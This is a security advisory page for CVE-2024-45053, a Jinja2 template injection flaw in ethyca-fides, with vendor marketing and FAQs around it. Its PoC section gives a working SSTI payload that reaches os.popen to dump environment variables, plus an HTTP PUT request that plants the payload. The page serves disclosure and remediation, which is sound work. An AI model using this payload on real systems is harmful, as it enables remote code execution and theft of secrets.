CVE-2024-45053

CVE-2024-45053 is a high-severity code injection vulnerability in ethyca-fides (pip), affecting versions >= 2.19.0, < 2.44.0. It is fixed in 2.44.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Remote Code Execution Vulnerability via SSTI in Fides Webserver Jinja Email Templating Engine

The Email Templating feature uses Jinja2 without proper input sanitization or rendering environment restrictions, allowing for Server-Side Template Injection that grants Remote Code Execution to privileged users. A privileged user refers to an Admin UI user with the default Owner or Contributor role, who can escalate their access and execute code on the underlying Fides Webserver container where the Jinja template rendering function is executed.

Details

The application enables the creation of message templates that are sent via email to Fides Privacy Center users (data subjects) who raise privacy requests such as data subject access requests or consent management requests via the Privacy Center. These emails are triggered at various points in the request processing flow, for example when a request is denied or approved. The messages are defined using Jinja2 templates, allowing the use of statement and expression directives to craft more complex messages that include dynamic variables.

It was discovered that the Jinja2 environment used to render the templates does not restrict the usage of common Python methods and objects, which permits an attacker to execute arbitrary code via Server-Side Template Injection. An attacker with the ability to modify email templates can inject malicious code, which is then executed when an email message is rendered and sent to the user.

Admin UI users assigned the following default roles are permitted to modify email templates and are therefore able to exploit this vulnerability:

  • Owner
  • Contributor

OAuth clients with the messaging-template:update scope are also authorized to use the PUT /api/v1/messaging/templates/ Fides Webserver API endpoint and may also exploit this vulnerability.

Workarounds

There are no workarounds.

PoC

The following payload, when injected into the email template, enables the execution of a command on the underlying system, revealing the content of environment variables:

Your privacy request has been denied.
*bb*
{% for s in ().__class__.__base__.__subclasses__() %}{% if "warning" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen("env").read() }}{% endif %}
{% endfor %}
*aa*

The following HTTP request to the Fides Webserver API can be used to update a privacy request denial email template:

PUT /api/v1/messaging/templates/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220 HTTP/2
Host: <redacted host>
Cookie: _fbp=fb.1.17232<..REDACTED>_ga=GA1.1.263756963.1723471626
Content-Length: 361
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Unescape-Safestr: true
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU..<REDACTED>
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Content-Type: application/json
Access-Control-Allow-Origin: *
X-Fides-Source: fidesops-admin-ui
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Origin: https://<redacted host>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://<redacted host>/messaging/autogenerated-mes_ce649254-a90b-4073-ae12-193650064220
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i

{
    "is_enabled": true,
    "content":
    {
        "subject": "Your privacy request has been denied XXX",
        "body": "Your privacy request has been denied. \n*bb*\n{% for s in ().__class__.__base__.__subclasses__() %}{% if \"warning\" in s.__name__ %}{{s()._module.__builtins__['__import__']('os').popen(\"env\").read() }}{% endif %}\n{% endfor %}\n*aa*\n**"
    },
    "properties":
    [
        "FDS-JICO87"
    ]
}

As a result, when a Privacy Center user submits a privacy request, such as to access their own data, and the request is rejected by a user of the privacy request management dashboard, the malicious template will be rendered, the code will be executed, and the content of the underlying container's environment variables will be included in the email the end-user receives.

Impact

This vulnerability allows an attacker with sufficient privileges (Owner, Contributor, messaging-template:update) to execute arbitrary code remotely (Remote Code Execution) and escalate their privileges to those of a user on the Fides Webserver container. This escalated access grants the attacker control of the Fides Webserver application, including unauthorized access to integrated resources such as the hosted database, hosted cache, integrated data stores, and integrated SaaS applications. Potential impacts range from denial of service to the exfiltration of sensitive data unavailable to the user prior to the escalation of access.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2024-45053 has a CVSS score of 9.1 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.44.0); upgrading removes the vulnerable code path.

Affected versions

ethyca-fides (>= 2.19.0, < 2.44.0)

Security releases

ethyca-fides → 2.44.0 (pip)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

The vulnerability has been patched in Fides version 2.44.0. Users are advised to upgrade to this version or later to secure their systems against this threat.

Frequently Asked Questions

  1. What is CVE-2024-45053? CVE-2024-45053 is a high-severity code injection vulnerability in ethyca-fides (pip), affecting versions >= 2.19.0, < 2.44.0. It is fixed in 2.44.0. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. How severe is CVE-2024-45053? CVE-2024-45053 has a CVSS score of 9.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of ethyca-fides are affected by CVE-2024-45053? ethyca-fides (pip) versions >= 2.19.0, < 2.44.0 is affected.
  4. Is there a fix for CVE-2024-45053? Yes. CVE-2024-45053 is fixed in 2.44.0. Upgrade to this version or later.
  5. Is CVE-2024-45053 exploitable, and should I be worried? Whether CVE-2024-45053 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2024-45053 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2024-45053? Upgrade ethyca-fides to 2.44.0 or later.

Other vulnerabilities in ethyca-fides

Stop the waste.
Protect your environment with Kodem.